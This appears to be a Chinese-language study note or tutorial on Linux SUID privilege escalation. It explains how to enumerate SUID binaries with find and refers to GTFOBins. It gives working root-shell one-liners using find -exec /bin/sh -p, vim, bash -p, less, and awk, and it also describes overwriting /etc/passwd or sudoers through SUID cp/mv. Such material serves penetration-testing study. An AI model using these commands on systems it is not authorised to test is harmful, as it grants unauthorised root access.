在实践中,获得 SUID 文件列表后,可参考https://gtfobins.github.io/网站。该网站收集了大量 Unix 二进制文件的可利用方法,并按照功能分类(如 SUID、sudo、文件读取等)。只需在网站上搜索找到的 SUID 程序名,即可看到详细的利用命令
find / -user root -perm -4000 -type f 2>/dev/null
SUID提权(Set user ID)
SUID是Linux系统中的一种特殊的文件权限设置,当任何执行文件设置了SUID权限后,用户执行该文件时,将拥有文件所有者的权限,而非执行用户自身的权限。这意味着,当一个普通用户执行具有SUID权限且所有者为root的文件,那么在执行该文件的过程中,这个普通用户将暂时获得root权限。
一、查找
(1)查找具有SUID权限的文件(不仅仅所有者为root)
命令:
find / -perm -4000 -type f 2>/dev/null
① /:表示从根目录开始查找
② -perm -4000:用于匹配具有SUID权限的文件(在Linux权限表中,4代表SUID,0000表示其他权限位不做限制)
③ -type f:指定只查找文件,不查找目录
④ 2>/dev/null:将错误输出重定向到空设备,避免产生大量错误信息干扰查找(/dev/null是特殊的文件系统对象,它会丢弃所有写入其中的内容)
(2) 查找 SUID、所有者为root的文件
命令:
find / -user root -perm -u=s -type f 2>/dev/null
注:
(1)查找所有者为root的文件:-user root
(2)同样匹配具有SUID权限的文件” 对应 -perm -u=s(u=s表示设置了SUID位)
二、实战
1.输入:
find / -user root -perm -4000 -exec ls -ldb {} \;
#发现有/usr/bin/find,既可以用find来提权了
注:对找到的 /usr/bin/su 用 ls 查看一下是否设置了 suid 权限
ls -al /usr/bin/su例:-rwsr-xr-x 有 s 则设置了(并且这里的所有者为root)
- 进行 Suid 提权(用 find)
find 任意文件名(存在即可) -exec /bin/sh -p \; -quit
(再输入 whoami 再次查看权限)-exec:对找到的文件执行命令/bin/sh -p:执行 shell,-p 参数保留特权(不重置 EUID),关键点! 现代 sh (如 bash)在执行时,如果发现 euid 和 uid 不匹配,会将 euid(即 suid) 强制重置为uid。-p 参数强制 Shell 保持 euid (Root 权限)。\;:-exec 参数的结束符-quit:找到第一个匹配项后就退出,如果不加,find 搜到多少文件就会弹回多少个 Shell
注:这里的 "find 任意文件名(存在即可)" 只是为了利用SUID的机制、短暂获得 root 权限,来生成一个 root 权限的 shell
三、若vim/vi设置了suid
vim通常不会默认设置 SUID,但如果管理员错误地给vim设置了 SUID 位,那么普通用户可以通过vim以 root 权限打开文件并执行 shell 命令。
通常是这样执行:
vim -c ':!/bin/bash'
在 vim 中,:!可以执行外部命令。由于 vim 以 root 权限运行,执行/bin/bash将得到一个 root shell。
四、bash本身设置了suid
如果bash本身设置了 SUID 位(非常罕见,因为危险),那么直接运行bash -p即可获得 root shell
五、less/more
如果less或more是 SUID root 的,在浏览文件时可以通过!命令执行 shell。
less /etc/passwd# 在 less 中按 ! 然后输入 bash
六、cp/mv
如果cp或mv是 SUID,可以用来覆盖系统文件(如/etc/passwd、/etc/shadow)来创建新 root 用户,或修改/etc/sudoers。但这通常需要能够写入目标文件,且系统可能开启了文件系统保护(如不可变属性),但仍是潜在的提权途径
七、awk
awk可以执行系统命令,如果它设置了 SUID :
awk 'BEGIN {system("/bin/bash")}'
八、python/perl/ruby 等解释器
如果某个解释器被设置了 SUID,那么可以直接在脚本中执行系统调用获取 root shell。具体取决于版本和编译选项
九、环境变量劫持配合 SUID
具体看环境变量提权.md